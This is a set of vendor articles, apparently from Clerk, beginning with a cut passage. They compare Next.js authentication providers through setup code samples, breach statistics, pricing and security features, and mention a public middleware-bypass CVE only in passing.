AWS Cognito suits teams already invested in the AWS ecosystem. The Amplify SDK provides Next.js integration, though setup requires more configuration than other providers ([AWS Documentation](https://docs.amplify.aws/nextjs/start/quickstart/nextjs-app-router-client-components/)).

The Amplify configuration in your root layout:

```tsx {{ filename: 'app/layout.tsx' }}
import { Amplify } from 'aws-amplify'
import config from '@/amplify_outputs.json'

Amplify.configure(config, { ssr: true })
```

The authentication utilities:

```ts {{ filename: 'utils/amplify.ts' }}
import { fetchAuthSession, getCurrentUser } from 'aws-amplify/auth'
import { createServerRunner } from '@aws-amplify/adapter-nextjs'
import config from '@/amplify_outputs.json'

export const { runWithAmplifyServerContext } = createServerRunner({
  config,
})
```

Using server-side authentication in your components:

```tsx {{ filename: 'app/dashboard/page.tsx' }}
import { runWithAmplifyServerContext } from '@/utils/amplify'
import { getCurrentUser } from 'aws-amplify/auth/server'
import { cookies } from 'next/headers'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  try {
    const user = await runWithAmplifyServerContext({
      nextServerContext: { cookies },
      operation: (context) => getCurrentUser(context),
    })

    return <Dashboard user={user} />
  } catch (error) {
    // User is not authenticated
    redirect('/login')
  }
}
```

**Pros**: Native integration with AWS services (Lambda, API Gateway, S3), pay-per-use pricing favorable at scale, advanced security features (adaptive authentication, compromised credential protection). **Cons**: Steeper learning curve, more boilerplate code required, and the Amplify SDK adds significant bundle size compared to lighter alternatives.

## The cost of authentication failures justifies managed solutions

Breaches involving stolen credentials took an average of 292 days to identify and contain—longer than other attack vectors ([Zscaler Analysis, 2024](https://www.zscaler.com/blogs/product-insights/7-key-takeaways-ibm-s-cost-data-breach-report-2024)). The global average breach cost reached $4.88 million, with 70% of breached organizations reporting significant or very significant disruption.

Nearly 38% of all breaches used compromised credentials, and over the past 10 years, stolen credentials have appeared in almost one-third (31%) of all breaches ([Verizon Report, 2024](https://www.verizon.com/about/news/2024-data-breach-investigations-report-vulnerability-exploitation-boom)). For basic web application attacks specifically, stolen credentials accounted for 77% of breaches ([Aembit Analysis, 2024](https://aembit.io/blog/credential-and-secrets-theft-insights-from-the-2024-verizon-data-breach-report/)).

MFA can block over 99.9% of account compromise attacks by providing an extra barrier and layer of security ([Microsoft Research, 2019](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/)). Organizations using robust [Identity and Access Management](/glossary#identity-management) solutions experienced lower breach costs overall.

Clerk's 5-15 minute setup time—and even the longer integration periods for other managed providers—represents trivial investment compared to potential breach costs and the ongoing maintenance burden of DIY authentication systems.

## When NextAuth remains the right choice

NextAuth (Auth.js) remains a strong option for specific use cases. **Budget-conscious projects** benefit from its fully open-source model with no per-user costs at any scale. **Custom authentication flows** that don't fit standard [OAuth](/glossary#oauth)/credential patterns are easier to implement when you control the entire authentication stack. **Self-hosted requirements** for compliance or data residency often mandate NextAuth over cloud-dependent providers.

Teams with dedicated security expertise who can properly configure session management, monitor for vulnerabilities, and apply patches promptly can build robust authentication with NextAuth. The key is honest assessment: if your team regularly delays dependency updates or lacks authentication security experience, the managed provider trade-off favors solutions like Auth0, Clerk, or Supabase.

## Conclusion

Session persistence failures in NextAuth trace to a predictable set of configuration errors: missing secrets, incorrect cookie attributes, JWT/database strategy mismatches, and Edge runtime incompatibilities. The split configuration pattern, proper environment variables, and defense-in-depth authentication—not relying solely on middleware—address the technical issues.

However, the complexity of secure session management argues for managed solutions. With nearly 38% of breaches exploiting credentials and average breach costs approaching $5 million, the engineering time spent debugging authentication configuration has measurable business risk. Managed providers like Auth0, Clerk, and Supabase handle session management, token refresh, and security patching automatically—eliminating entire categories of bugs while improving security posture.

The critical CVE-2025-29927 middleware bypass vulnerability demonstrates why authentication requires continuous security expertise. Managed providers patch vulnerabilities within hours across all customers; self-hosted implementations require manual updates that many teams delay. For Next.js applications specifically, Clerk offers the smoothest integration with native Edge support and minimal configuration, though Auth0 provides more enterprise features and Supabase works well when you're already using their database. Choose authentication infrastructure that treats security as a core product feature, not an afterthought.

## FAQ

---

# User Authentication for Next.js: Top Tools and Recommendations for 2025
URL: https://clerk.com/articles/user-authentication-for-nextjs-top-tools-and-recommendations-for-2025.md
Date: 2026-03-26
Description: Complete guide to user authentication for Next.js in 2025. Compare Clerk, Auth0, NextAuth.js, Supabase Auth, and other solutions with security best practices, App Router integration, and implementation recommendations for modern Next.js applications.

The top authentication tools for Next.js are Clerk, Auth0, NextAuth.js, and Supabase Auth. Clerk provides the deepest [App Router](/glossary#app-router) integration with pre-built components and [Server Component](/glossary#react-server-components) support out of the box. NextAuth.js (now Auth.js) is a popular open-source option but requires more manual configuration. **Credential theft was the initial access vector in 38% of data breaches** ([Verizon DBIR, 2024](https://www.hipaajournal.com/verizon-2024-data-breach-investigations-report/)), making authentication the single most important security decision for your application. This guide provides an objective comparison to help you choose based on your team's expertise, budget, security requirements, and scaling plans.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Why authentication choice matters in 2025

The stakes for authentication have never been higher. According to IBM's 2024 Cost of a Data Breach Report, the global average breach cost reached **$4.88 million**—a 10% year-over-year increase ([IBM Report, 2024](https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs)). Breaches involving stolen credentials take the longest to detect at **292 days on average**, compounding both financial and reputational damage ([IBM Report, 2024](https://newsroom.ibm.com/2024-07-30-ibm-report-escalating-data-breach-disruption-pushes-costs-to-new-highs)).

A critical vulnerability in Next.js (CVE-2025-29927, CVSS 9.1) exposed how easily middleware-based authentication can be bypassed through improper handling of the `x-middleware-subrequest` header ([GitHub Advisory, 2025](https://github.com/advisories/GHSA-f82v-jwr5-mffw)). The exploit required only adding a single HTTP header to completely circumvent security checks. This incident highlighted why authentication architecture decisions carry long-term security implications.

Microsoft's research indicates that **over 99.9% of compromised enterprise accounts lacked multi-factor authentication (MFA)** ([Microsoft Research, 2019](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/)), yet only 11% of enterprise accounts had MFA enabled at the time of the study. Whether you choose a managed provider, open-source solution, or custom implementation, closing this gap should be a priority.

## Clerk: Purpose-built for modern Next.js

Clerk offers first-class support for both App Router and [Pages Router](/glossary#pages-router) with purpose-built helpers for [React Server Components](/glossary#react-server-components) ([Clerk Documentation](/docs/reference/nextjs/overview)).

**Core capabilities include:**

- **[`auth()`](/docs/reference/nextjs/auth) and [`currentUser()`](/docs/reference/nextjs/current-user)** async functions designed specifically for Server Components, Route Handlers, Middleware, and Server Actions ([Clerk Documentation](/docs/nextjs/guides/users/reading))
- **[`clerkMiddleware()`](/docs/reference/nextjs/clerk-middleware)** with `createRouteMatcher()` for pattern-based route protection
- **Pre-built UI components** ([`<SignIn />`](/docs/reference/components/authentication/sign-in), [`<SignUp />`](/docs/reference/components/authentication/sign-up), [`<UserButton />`](/docs/reference/components/user/user-button)) that can be customized via CSS variables and themes
- **Full Edge Runtime compatibility** with isomorphic helpers that work regardless of runtime environment
- **[Organizations and multi-tenancy](/docs/organizations/overview)** with [SAML](/glossary#security-assertion-markup-language-saml)/[OIDC](/glossary/openid-connect) enterprise [SSO](/glossary#single-sign-on-sso), custom roles, and permissions

Setup time consistently clocks in at **under 5 minutes** according to developer testimonials ([G2 Reviews, 2024](https://www.g2.com/products/clerk-dev/reviews)). Clerk's security posture includes SOC 2 Type II compliance, GDPR compliance via Data Privacy Framework certification ([Clerk Documentation](/legal/dpa)), [CCPA](/glossary#california-consumer-privacy-act-ccpa) compliance, breached password detection against the HaveIBeenPwned database, account lockout after **100 failed attempts**, AI-based [bot protection](/glossary#bot-detection), and configurable [session management](/glossary#session-management) ([Clerk Documentation](/docs/security/overview)). The free tier includes **50,000 monthly retained users (MRU)** ([Clerk Pricing](/pricing)).

For enterprise requirements, Clerk offers [HIPAA compliance](/user-authentication) with BAA and **99.99% uptime SLA**.

**Trade-offs to consider:** As a younger company compared to Auth0/Okta, Clerk has a shorter track record in enterprise environments. Organizations with strict vendor evaluation processes may weigh this differently. Pricing can also escalate at scale—teams projecting hundreds of thousands of users should model costs carefully against open-source alternatives, which is a good practice when considering any managed solution.

## Auth0: Enterprise maturity and ecosystem depth

Auth0, now part of Okta, represents the most established enterprise option with over a decade of production deployment history. Its `@auth0/nextjs-auth0` SDK provides comprehensive integration with automatic route creation (`/auth/login`, `/auth/logout`, `/auth/callback`) and full middleware support for Edge Runtime.

**Where Auth0 excels:**

- **Security depth** - [OAuth 2.0](/glossary#oauth)/OpenID Connect compliance, DPoP (Demonstrating Proof-of-Possession) token binding, encrypted session cookies, adaptive [MFA](/glossary#multi-factor-authentication-mfa) that triggers based on device, location, or behavioral signals
- **Enterprise identity** - SAML, [LDAP](/glossary#ldap), Active Directory integration, and 30+ [social providers](/glossary#social-login) out of the box
- **Anomaly detection** - Built-in threat intelligence for identifying suspicious login patterns
- **Extensive documentation** - Years of accumulated guides, tutorials, and community solutions

Auth0's free tier includes **25,000 MAUs** with unlimited social connections and one custom domain. The platform has a proven track record with Fortune 500 companies and offers dedicated enterprise support with SLAs.

**Trade-offs to consider:** Pricing complexity has drawn criticism—costs can escalate unpredictably as you grow ([Sagar Sangwan, 2025](https://medium.com/@sagarsangwan/next-js-authentication-showdown-nextauth-free-databases-vs-clerk-vs-auth0-in-2025-e40b3e8b0c45)). Configuration happens primarily through the Auth0 dashboard rather than code, which some teams find limiting for infrastructure-as-code practices. The SDK, while comprehensive, isn't as tightly integrated with Next.js's latest features as purpose-built alternatives.

## NextAuth.js: Open-source flexibility and data ownership

NextAuth.js (rebranding to Auth.js for framework-agnostic support) dominates open-source authentication with **2 million weekly npm downloads** and over 27,000 GitHub stars ([NPM Statistics, 2024](https://socket.dev/npm/package/next-auth); [GitHub Statistics, 2024](https://alternativeto.net/software/nextauth/about/)). Version 5 introduces an App Router-first architecture with a universal `auth()` function that consolidates multiple v4 methods ([Auth.js Documentation](https://authjs.dev/getting-started/migrating-to-v5)).

**Where NextAuth.js excels:**

- **Complete data ownership** - User data lives in your database, not a third-party service
- **No vendor lock-in** - Open-source with configuration in code, not a dashboard
- **Extensive provider support** - **80+ OAuth providers**, email magic links, and credentials authentication with **20+ database adapters** including Prisma, Drizzle, and Supabase ([Auth.js Documentation](https://authjs.dev/))
- **Zero marginal cost** - No per-MAU fees regardless of scale
- **Community ecosystem** - Large community, extensive Stack Overflow coverage, and adapters for most databases

For organizations requiring maximum control over their authentication infrastructure or facing strict [data residency](/glossary#data-residency) requirements, NextAuth.js is often the right choice.

**Trade-offs to consider:** The credentials provider forces JWT strategy and doesn't automatically persist users to the database. MFA is not built-in—implementations require custom development. [Access token](/glossary#access-token) rotation must be handled manually through callbacks. Some database adapters aren't Edge-compatible, requiring split configuration. Version 5 remains in beta (available via the [`next-auth`](https://www.npmjs.com/package/next-auth) package), and the migration from v4 requires meaningful refactoring. You're responsible for security maintenance and staying current with vulnerabilities.

## Other providers worth evaluating

**Supabase Auth** delivers excellent SSR support through its dedicated `@supabase/ssr` package ([Supabase Documentation](https://supabase.com/docs/guides/auth/server-side/nextjs)). The middleware automatically refreshes expired auth tokens, and the `getUser()` method validates against the auth server on every call. The standout feature is **Row-Level Security (RLS)** integration—authentication rules defined once in your database apply automatically across your entire stack including REST API, Edge Functions, and Realtime subscriptions. The Pro plan includes **100,000 MAUs** with additional users at **$0.00325 per MAU** ([Supabase Pricing](https://supabase.com/pricing)). Best for teams already using or planning to adopt the Supabase ecosystem.

**AWS Cognito** through Amplify Gen 2 provides enterprise-grade features including user pools, identity pools, federated identities, and adaptive authentication. Organizations already invested in AWS benefit from tight IAM integration and consolidated billing. However, complexity is substantial—configuration options are numerous, some are irreversible after initial setup, and the AWS Console learning curve is steep. Best for AWS-native architectures where infrastructure standardization is a priority.

**Firebase Authentication** has strong mobile SDK support and integrates seamlessly with other Firebase services. Recent FirebaseServerApp improvements help with SSR, though the JavaScript SDK was designed primarily for client-side use. Community libraries like `next-firebase-auth` don't fully support App Router yet. Best for teams with existing Firebase infrastructure or React Native applications sharing authentication.

**Kinde** offers fast Next.js setup with native App Router support, `withAuth` middleware helper, and combines auth, feature flags, and billing in one platform. The **10,500 MAU free tier** is generous ([Kinde Pricing](https://kinde.com/pricing/)). As a newer entrant, Kinde is worth evaluating for startups prioritizing speed to market.

**Okta** targets enterprise B2B applications with SCIM provisioning, Universal Directory, lifecycle management, and comprehensive [audit](/glossary#audit-logs) capabilities. Integration typically routes through NextAuth.js's Okta provider ([SSOJet Guide](https://ssojet.com/blog/integrating-okta-saml-sso-with-your-next-js-application)). Best for enterprises with complex identity federation requirements or existing Okta deployments.

## Next.js authentication patterns that matter

[Middleware](/glossary#middleware)-based authentication centralizes security checks before routes render. However, **middleware runs on Edge Runtime** (prior to Next.js 15.2), which cannot make database calls ([Clerk Blog](/blog/what-is-middleware-in-nextjs)). The recommended pattern uses cookie-only checks for optimistic redirects in middleware while performing full session validation in pages using Node.js runtime.

```ts {{ filename: 'proxy.ts' }}
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) await auth.protect()
})

export const config = {
  matcher: [
    // Skip Next.js internals and all static files, unless found in search params
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    // Always run for API routes
    '/(api|trpc)(.*)',
  ],
}
```

Server Components provide a secure environment since they execute server-side only. Be cautious with Layouts—they don't re-render on navigation, so session checks may not run on every route change. Route protection should happen at the page level.

**[JWT](/glossary#json-web-token) versus database sessions** presents a fundamental architectural choice ([Wisp CMS Guide, 2024](https://www.wisp.blog/blog/best-practices-in-implementing-jwt-in-nextjs-15)). JWTs scale horizontally without database lookups and work in Edge Runtime, but cannot be revoked until expiration. Database sessions enable immediate revocation—essential for "sign out everywhere" features—but require roundtrips that add latency. NextAuth.js middleware requires JWT strategy since database sessions aren't Edge-compatible.

For session cookies, OWASP mandates **[HttpOnly](/glossary#httponly-cookies)** (prevents [XSS](/glossary#cross-site-scripting-xss) access), **Secure** (HTTPS only), and **SameSite** ([CSRF](/glossary#cross-site-request-forgery-csrf) protection). The `__Host-` prefix ensures cookies are only sent to the host that set them.

## Why custom authentication rarely makes sense

Building custom authentication sounds appealing until you calculate the true cost. Industry estimates place basic SSO implementation at **3-6 developer-months**, with building enterprise-grade authentication systems costing **$250,000 to $500,000** in initial investment ([Prefactor Analysis, 2025](https://prefactor.tech/blog/build-vs-buy-2025-authentication)). Annual maintenance costs for self-built SSO solutions **easily exceed $100,000**, while ongoing maintenance consumes **15-20% of a developer's time** ([Industry Analysis, 2024](https://guptadeepak.com/the-enterprise-ready-dilemma-navigating-authentication-challenges-in-b2b-saas/)). Authentication becomes a "permanent engineering workstream" demanding ongoing security expertise as attack vectors evolve.

The Next.js vulnerability (CVE-2025-29927) demonstrates how even framework-level bugs can bypass entire authentication systems. Custom implementations must account for middleware trust issues, "fail-open" design flaws, header manipulation vulnerabilities, and insufficient validation layers.

StackOverflow contains thousands of unanswered questions about SSO and SAML implementations—illustrating the complexity teams face. While organizations expect SSO integrations to complete within 1-3 months, **74% report actual implementation times of 3-9 months**, with traditional methods delaying product launches by **6-12 weeks** ([Digibee Report, 2024](https://www.digibee.com/en/blog/enterprise-integration-and-challenge-of-implementation-time/); [SSOJet Analysis, 2024](https://www.einpresswire.com/article/796922370/ssojet-eliminates-enterprise-sso-integration-complexity-for-b2b-saas-companies-reducing-go-live-time-by-weeks)).

**Fewer than 5% of engineering teams** should build authentication from scratch according to industry analysis ([FusionAuth Analysis](https://fusionauth.io/buildvsbuy)). The exceptions are organizations with dedicated security teams, unique compliance requirements not served by existing solutions, or authentication as a core product feature.

## Security requirements and compliance considerations

OWASP authentication guidelines recommend **minimum 8-character passwords with MFA** or 15 characters without, allowing all characters including unicode and whitespace. Periodic password rotation is discouraged—only rotate on suspected compromise. Blocking breached passwords through services like Pwned Passwords API should be standard.

Server Actions in Next.js have built-in CSRF protection through POST-only methods, SameSite cookies, origin validation, and encrypted action IDs. Route Handlers require manual CSRF protection when using custom GET/POST handlers.

Never store tokens in localStorage—it's vulnerable to XSS attacks. HttpOnly cookies remain the gold standard for token storage. For JWTs, include only user ID, role, and permissions; never store PII, passwords, or sensitive data in the payload.

Compliance certifications vary by provider: Clerk holds [SOC 2](/glossary#soc-2) Type II with optional [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa) compliance and GDPR/CCPA support; Auth0 offers SOC 2, HIPAA, and numerous industry certifications on enterprise tiers; Supabase offers SOC 2 on Team plans with HIPAA as an add-on; NextAuth.js requires self-managed compliance since you control the infrastructure ([Monetizely Analysis, 2024](https://www.getmonetizely.com/articles/clerk-vs-supabase-auth-how-to-choose-the-right-authentication-service-for-your-budget)).

## Choosing the right solution for your project

The authentication landscape for Next.js offers legitimate options across the spectrum, and the right choice depends on your specific constraints and priorities.

**Choose Clerk if:** You're building a new Next.js application and prioritize developer experience, rapid implementation, and modern framework integration. Clerk's purpose-built SDK, pre-built components, and [webhook](/glossary#webhook) support for database syncing make it particularly well-suited for teams that want comprehensive security without deep authentication expertise ([Clerk](/user-authentication)).

**Choose Auth0 if:** You need enterprise identity features, have complex federation requirements, or your organization already uses Okta products. Auth0's decade-plus track record and extensive compliance certifications provide confidence for risk-averse enterprises.

**Choose NextAuth.js if:** Data ownership is non-negotiable, you have strict data residency requirements, budget constraints rule out per-user pricing, or you need maximum customization. Teams with strong engineering capacity who can invest in implementation and ongoing maintenance will find it highly capable.

**Choose Supabase Auth if:** You're building on the Supabase platform and want unified authentication with Row-Level Security. The tight database integration eliminates the need for separate [authorization](/glossary#authorization) logic.

**Choose AWS Cognito if:** You're committed to AWS infrastructure and value consolidated billing and IAM integration over developer experience.

The critical insight from security data is clear: authentication is too important and too complex to treat as an afterthought. Whether you choose a managed platform or open-source solution, the decision should be intentional, well-researched, and aligned with your security posture and growth trajectory.

## Conclusion

Authentication in Next.js has matured into a well-served market with solutions spanning every use case. The data supports a clear principle: managed platforms significantly reduce risk and development time compared to custom implementations, while open-source options provide maximum control for teams with specific requirements.

The **$4.88 million average breach cost** and **292-day detection time** for credential-based attacks should inform every authentication decision. Building custom authentication generates technical debt and security exposure that compounds over time—fewer than 5% of engineering teams should attempt it.

Among managed solutions, Clerk offers particularly strong Next.js integration with its purpose-built SDK, pre-built components, and comprehensive security features ([Clerk Documentation](/docs)). Auth0 brings unmatched enterprise maturity. NextAuth.js provides data ownership and zero marginal costs. Supabase Auth excels for teams already in that ecosystem.

For teams evaluating options, the path forward involves honest assessment of your security requirements, development capacity, data ownership needs, and long-term scaling economics. The solutions exist—the key is matching your constraints to the right tool.

---

## Frequently Asked Questions

---

# Essential user management features for startups
URL: https://clerk.com/articles/essential-user-management-features-startups.md
Date: 2026-03-27
Description: Compare authentication platforms for startups in 2025: Clerk, Auth0, Firebase, AWS Cognito. Learn which user management features matter at each growth stage.

Startups need authentication that integrates in under an hour and scales predictably. At early stage, prioritize [passwordless login](/glossary#passwordless-login), social [OAuth](/glossary#oauth), and [session management](/glossary#session-management). As you grow, add [multi-factor authentication](/glossary#multi-factor-authentication-mfa), role-based access control, and organization support. The stakes are high: **1.7 billion individuals** were affected by data compromises in 2024, with **88% of breaches involving stolen credentials** ([ITRC 2024 Annual Report](https://www.idtheftcenter.org/post/2024-annual-data-breach-report-near-record-compromises/)). Building custom auth now represents **$250,000–600,000 in avoidable costs** ([Prefactor Build vs Buy Analysis, 2025](https://prefactor.tech/blog/build-vs-buy-2025-authentication)), while startups that chose the wrong platform reported **15× cost increases** ([SSOJet Auth0 Analysis, 2024](https://ssojet.com/blog/auth0-pricing-growth-penalty)). Clerk, Auth0, Firebase, and AWS Cognito each target different startup profiles — this guide examines which features matter at each growth stage and compares platforms with objective data.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Critical features that determine startup velocity

### Authentication methods that convert users, not frustrate them

The authentication flow represents your users' first technical interaction with your product. **Make it friction-filled and 40% of users abandon before completing signup** ([Medium IAM for Startups, 2024](https://medium.com/identity-beyond-borders/iam-for-startups-3ca8d59f6384)). Modern startups need authentication that feels invisible to users while remaining cryptographically robust underneath.

**Email and password authentication** remains table stakes, but implementation quality varies dramatically. Leading platforms like [Clerk](/docs/guides/configure/auth-strategies/sign-up-sign-in-options) automatically check passwords against the **HaveIBeenPwned database** containing 613 million compromised credentials, rejecting leaked passwords before they enter your system. This single feature prevents the [credential stuffing](/glossary#credential-stuffing) attacks that caused **29 major breaches in 2024** ([HIPAA Journal 2024 Breach Report](https://www.hipaajournal.com/1-7-billion-individuals-data-compromised-2024/)).

**[Social login](/glossary#social-login)** through Google, GitHub, Microsoft, and other [OAuth](/glossary#oauth) providers accelerates onboarding while improving security—users leverage existing authenticated sessions rather than creating yet another password. Clerk provides social connections on all tiers ([Clerk Pricing](/pricing)), while Auth0 limits you to **2–3 connections on lower tiers** before requiring expensive enterprise contracts. For B2B startups, this difference matters immediately: your fourth enterprise customer needing SSO shouldn't trigger a 15× pricing increase.

**[Passwordless authentication](/glossary#passwordless-login)** through [magic links](/glossary#email-links) and [email OTP](/glossary#email-otp) codes eliminates password management entirely while maintaining security. AWS Cognito added this to their Essentials tier in late 2024 ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/)), and Firebase has supported it since launch ([Firebase Auth Documentation](https://firebase.google.com/docs/auth)). The conversion impact is measurable: passwordless flows show **20–40% higher completion rates** than traditional password forms in consumer applications ([Clerk Authentication Options](/docs/guides/configure/auth-strategies/sign-up-sign-in-options)).

**[Multi-factor authentication](/glossary#multi-factor-authentication-mfa)** transitioned from optional to mandatory in 2025. The proposed HIPAA Security Rule amendments now **require MFA for all ePHI access** ([Duo Security HIPAA 2025](https://duo.com/blog/security-updates-to-get-ahead-of-proposed-2025-hipaa-amendments)), and Microsoft's analysis proves MFA would have prevented **99.9% of account compromises** ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)). Early-stage startups can start with SMS-based MFA, but growth-stage companies need TOTP authenticator apps, hardware security keys, and backup codes. Clerk includes comprehensive MFA options in the **Pro plan** ([Clerk Pricing](/pricing)), while Firebase limits you to SMS only without upgrading to Identity Platform.

**[Enterprise SSO](/glossary#single-sign-on-sso)** through [SAML](/glossary#security-assertion-markup-language-saml) and [OIDC](/glossary#openid-connect) unlocks B2B revenue but creates implementation complexity. This single feature—connecting your authentication to Okta, Azure AD, Google Workspace—determines whether you can sell to enterprises. Building SAML support custom costs **$250,000–500,000 in engineering time** ([Prefactor Build vs Buy Analysis, 2025](https://prefactor.tech/blog/build-vs-buy-2025-authentication)). Auth0 provides extensive SSO support but with a **critical trap: only 3–5 connections** before forcing enterprise pricing upgrades. Clerk includes **1 enterprise SSO connection on Pro** with additional connections available from **$75/month each** with volume discounts ([Clerk SSO Documentation](/docs/guides/configure/auth-strategies/oauth/single-sign-on)), providing predictable SSO costs without tier-cliff surprises.

### Authorization that scales from MVP to enterprise

Authentication confirms identity; authorization determines what authenticated users can access. Most startups underestimate authorization complexity until the first enterprise prospect asks "can you support our 47 custom roles with department-level permissions?" This question arrives faster than expected: typically **2–6 months after initial enterprise outreach** ([Y Combinator PropelAuth](https://www.ycombinator.com/companies/propelauth)).

**[Role-Based Access Control (RBAC)](/glossary#role-based-access-control-rbac)** provides the foundation: users get roles, roles grant permissions. Clerk's [RBAC implementation](/docs/organizations/roles-permissions) supports this natively with **10 custom roles** included on Pro plans and organization-scoped permissions that prevent the "role explosion" problem where every customer variation demands new roles. Firebase Authentication famously struggles here—**custom claims limited to 1000 bytes** forces developers to build parallel authorization systems in Firestore, essentially reimplementing what should be infrastructure.

**Attribute-Based Access Control (ABAC)** extends RBAC by making decisions based on user attributes, resource properties, and environmental context. "Allow editing if user.department === document.owner.department AND time.hour \< 17" represents ABAC thinking. AWS Cognito excels here through IAM policy integration, while Auth0 requires external services like [Cerbos](https://www.cerbos.dev/blog/build-vs-buy-authorization) or Permit.io to achieve similar flexibility.

**Organization and [multi-tenancy](/glossary#multi-tenancy) support** determines B2B SaaS viability. Can users belong to multiple organizations? Context switching between them should be seamless. Does each organization maintain isolated data, settings, and permissions? Clerk provides [Organizations](/docs/organizations/overview) as a first-class feature with pre-built `<OrganizationSwitcher />` and `<OrganizationProfile />` components that would take **months to build in-house** ([Clerk Better-auth Comparison, 2024](/articles/better-auth-clerk-complete-authentication-comparison-react-nextjs)). Firebase and AWS Cognito offer no native multi-tenancy support—you implement it manually or bolt on third-party solutions.

### Session management that balances security with user experience

Session security represents a fundamental tradeoff: shorter sessions enhance security but increase authentication friction, longer sessions improve UX but expand the window for session hijacking. OWASP recommends **sessions under 1 hour for sensitive data** ([OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)), but consumer applications often use 7-30 day sessions.

Clerk implements an innovative approach: **60-second [token expiration](/glossary#token-expiration) with automatic background refresh** at the 50-second mark ([Clerk How Clerk Works](/docs/guides/how-clerk-works/overview)). Tokens expire before exploitation becomes feasible, yet users experience seamless authentication without re-login prompts. This architecture eliminates the security-versus-UX tradeoff through technical sophistication rather than compromise.

**Device tracking and [session revocation](/glossary#session-revocation)** matter increasingly for security and user control. Users should see which devices hold active sessions and remotely revoke access—critical when a laptop gets stolen or an employee leaves. Clerk and Auth0 provide comprehensive device management dashboards, while Firebase requires custom implementation through Cloud Functions.

**Cross-domain authentication** through satellite domains enables single sign-on across multiple properties. Early-stage startups rarely need this, but growth-stage companies with marketing.example.com, app.example.com, and docs.example.com want seamless authentication. Clerk supports satellite domains on Pro plans, while achieving similar functionality with AWS Cognito requires complex CloudFront configurations.

## Platform comparison: which solution fits your startup profile

### React and Next.js startups: Clerk's purpose-built advantage

If your stack includes React, Next.js, or Remix, **Clerk delivers unmatched developer experience** through purpose-built integrations that feel native rather than bolted-on. The [Next.js quickstart](/docs/quickstarts/nextjs) demonstrates this: add `@clerk/nextjs`, configure two environment variables, wrap your app in `<ClerkProvider>`, and production-ready authentication flows work in **5-15 minutes** ([Stack Overflow Developer Survey, 2024](https://survey.stackoverflow.co/2024/)).

**Pre-built React components** represent Clerk's killer feature for startups optimizing for speed. Drop `<SignIn />` onto a page and get a complete authentication form with email/password, social login, password reset, email verification, and error handling—functionality that would take **weeks to build and design properly**. The `<UserProfile />` component provides a full account management interface including profile editing, security settings, connected accounts, and active sessions. One developer testimonial captures the impact: "Clerk feels like the first time I booted my computer with an SSD" ([Hacker News Discussion, 2021](https://news.ycombinator.com/item?id=26069627)).

A 2024 authentication platform survey of 150+ developers found that **Clerk received the highest satisfaction scores for React/Next.js integration**, with developers citing "minimal configuration" and "production-ready components" as key differentiators ([Geekflare Auth Platform Review, 2024](https://geekflare.com/cybersecurity/user-authentication-platforms/)). Multiple independent reviews note that Clerk's pre-built UI components **reduce time-to-production by 80-90%** compared to building authentication interfaces from scratch.

**Next.js App Router support** arrived on day one of the App Router release, with same-day updates for Next.js 15, React 19, and Next.js 16. The `clerkMiddleware()` helper integrates with Next.js proxy (or middleware on Next.js 15 and earlier) for route protection, while `auth()` provides server-side authentication in Server Components and API routes. This contrasts with Auth0's SDK, which required **weeks to fully support App Router** and still needs more configuration for equivalent functionality.

Independent developer comparisons consistently highlight this difference. A comprehensive authentication provider analysis notes: "Clerk's Next.js integration is purpose-built rather than retrofitted, resulting in significantly fewer configuration steps and better TypeScript support" ([GitHub Auth Provider Comparison, 2024](https://github.com/hbmartin/comparison-web-app-authentication-providers)). Another developer comparison observes: "For React/Next.js specifically, Clerk provides the smoothest developer experience with the least configuration overhead" ([Hyperknot Auth Comparison, 2024](https://blog.hyperknot.com/p/comparing-auth-providers)).

**Where Clerk falls short**: customization depth. The pre-built components offer styling options but limited flow modification. If your authentication requires multi-step verification with custom business logic at each step, Clerk's [Clerk Elements](/docs/customization/elements/overview) (headless component primitives) and [Custom Flows](/docs/guides/development/custom-flows/overview) provide escape hatches with increasing levels of control. Auth0's Actions allow arbitrary code injection into authentication flows, providing more flexibility at the cost of significantly increased complexity.

| Feature                     | Clerk               | Auth0              | AWS Cognito  | Firebase Auth                 |
| --------------------------- | ------------------- | ------------------ | ------------ | ----------------------------- |
| **React component library** | ⭐⭐⭐⭐⭐ Comprehensive | Build custom       | Build custom | FirebaseUI (maintenance mode) |
| **Next.js App Router**      | ⭐⭐⭐⭐⭐ Native        | ⭐⭐⭐⭐ Good          | ⭐⭐⭐ Amplify  | ⭐⭐⭐ Manual SSR                |
| **Setup time**              | 5–15 minutes        | 30–60 minutes      | 2–4 hours    | 15–30 minutes                 |
| **Lines of code (basic)**   | 15–25               | 45+                | 60+          | 30–40                         |
| **Organization support**    | ⭐⭐⭐⭐⭐ Native        | ⭐⭐⭐⭐ Configuration | Manual       | Manual                        |

### Mobile-first and consumer applications: Firebase's generous scale

Firebase Authentication excels for consumer mobile applications and web apps prioritizing free-tier generosity over B2B features. The **50,000 MAU free tier** ([Firebase Pricing](https://firebase.google.com/pricing)) matches Clerk's 50,000 MRU free tier and is 2× larger than Auth0's 25,000. For bootstrapped consumer apps, this difference enables reaching initial scale without authentication costs.

